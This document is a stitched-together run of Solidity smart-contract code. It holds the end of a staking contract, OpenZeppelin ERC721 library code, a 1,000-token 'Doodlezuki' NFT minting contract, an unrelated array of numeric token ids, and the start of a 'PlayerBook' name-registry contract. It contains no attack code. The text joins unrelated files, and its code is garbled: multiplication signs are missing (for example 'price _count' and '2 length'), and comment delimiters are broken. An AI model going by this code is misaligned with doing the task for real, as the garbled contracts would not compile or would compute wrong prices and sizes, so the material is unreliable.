rewardPoolBalance.mul(_rewardPortion).div(100).mul(uint256(100).sub(_rewardFee)).div(100).mul(passTime).div(86400); return rewardAmount; } /** * Get store wallet / function getRewardContract() external view returns (address) { return address(_rewardContract); } /* * Get total staked amount / function getTotalStakedAmount() external view returns (uint256) { return _totalStakedAmount; } /* * Get reward amount of staker / function getReward(address staker) external view returns (uint256) { return _stakeMap[staker].rewardAmount.add(calcReward(staker, now)); } /* * Get reward pool balance (LAVA) / function getRewardPoolBalance() external view returns (uint256) { return _rewardContract.getLavaBalance(); } /* * Get last claim timestamp / function getLastClaimTimestamp(address staker) external view returns (uint256) { return _stakeMap[staker].lastClaimTimestamp; } /* * Get staked amount of staker / function getStakedAmount(address staker) external view returns (uint256) { return _stakeMap[staker].stakedAmount; } /* * Get min stake amount / function getMinStakeAmount() external view returns (uint256) { return _minStakeAmount; } /* * Get rewards portion / function getRewardPortion() external view returns (uint256) { return _rewardPortion; } /* * Get staker count / function getStakerCount() external view returns (uint256) { return _stakers.length; } /* * Get rewards fee / function getRewardFee() external view returns (uint256) { return _rewardFee; } /* * Get staked rank / function getStakedRank(address staker) external view returns (uint256) { uint256 rank = 1; uint256 senderStakedAmount = _stakeMap[staker].stakedAmount; for(uint i=0; i<_stakers.length; i++) { if(_stakers[i] != staker && senderStakedAmount < _stakeMap[_stakers[i]].stakedAmount) rank = rank.add(1); } return rank; } /* * Set store wallet contract address / function setRewardContract(RewardContract rewardContract) external onlyOwner returns (bool) { require(address(rewardContract) != address(0), 'MOLStaker: reward contract address should not be zero address.'); _rewardContract = rewardContract; return true; } /* * Set rewards portion in store balance. * ex: 10 => 10% / function setRewardPortion(uint256 rewardPortion) external onlyOwner returns (bool) { require(rewardPortion >= 10 && rewardPortion <= 100, 'MOLStaker: reward portion should be in 10 ~ 100.'); _rewardPortion = rewardPortion; return true; } /* * Set rewards portion for stakers in rewards amount. * ex: 98 => 98% (2% for dev) */ function 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/** Submitted for verification at Etherscan.io on 2022-02-14 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; contract Doodlezuki is ERC721, Ownable { uint256 public constant MAX_SUPPLY = 1000; uint256 private mintCount = 0; uint256 public price = 85000000000000000; string baseTokenURI; bool public saleOpen = false; event Minted(uint256 totalMinted); constructor(string memory baseURI) ERC721("Doodlezuki", "DZUKi") { setBaseURI(baseURI); } function totalSupply() public view returns (uint256) { return mintCount; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function changePrice(uint256 _newPrice) external onlyOwner { price = _newPrice; } function flipSale() external onlyOwner { saleOpen = !saleOpen; } function withdraw() external onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success, "Transfer failed."); } function mint(address _to, uint256 _count) external payable { uint256 supply = totalSupply(); require(supply + _count <= MAX_SUPPLY, "Exceeds maximum supply"); require(_count > 0, "Minimum 1 NFT has to be minted per transaction"); if (msg.sender != owner()) { require(saleOpen, "Sale is not open yet"); require( _count <= 5, "Maximum 5 NFTs can be minted per transaction" ); require( msg.value >= price _count, "Ether sent with this transaction is not correct" ); } mintCount += _count; for (uint256 i = 0; i < _count; i++) { _safeMint(_to, ++supply); emit Minted(supply); } } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2403, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 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pragma solidity ^0.4.24; /* * -PlayerBook - v0.3.14 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * ______ _ ______ _ ====(_____ \=\| \|===============================(____ \===============\| \|============= * _____) )\| \| _____ _ _ _____ ____ ____) ) ___ ___ \| \| _ * \| ____/ \| \| (____ \|\| \| \| \|\| ___ \| / ___) \| __ ( / _ \ / _ \ \| \|_/ ) * \| \| \| \| / ___ \|\| \|_\| \|\| ____\|\| \| \| \|__) )\| \|_\| \|\| \|_\| \|\| _ ( ====\|_\|=======\_)\_____\|=\__ \|\|_____)\|_\|======\|______/==\___/==\___/=\|_\|=\_)========= * (____/ * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ / interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _\| _ _\|_ _ _ _ _\|_ _ . // (_\|(_\| \| (_\| _\(/_ \| \|_\|\|_) . //=============================\|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __\|_ _ __\|_ _ _ . // (_(_)\| \|_\ \| \| \|_\|(_ \| (_)\| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[1].name = "justo"; 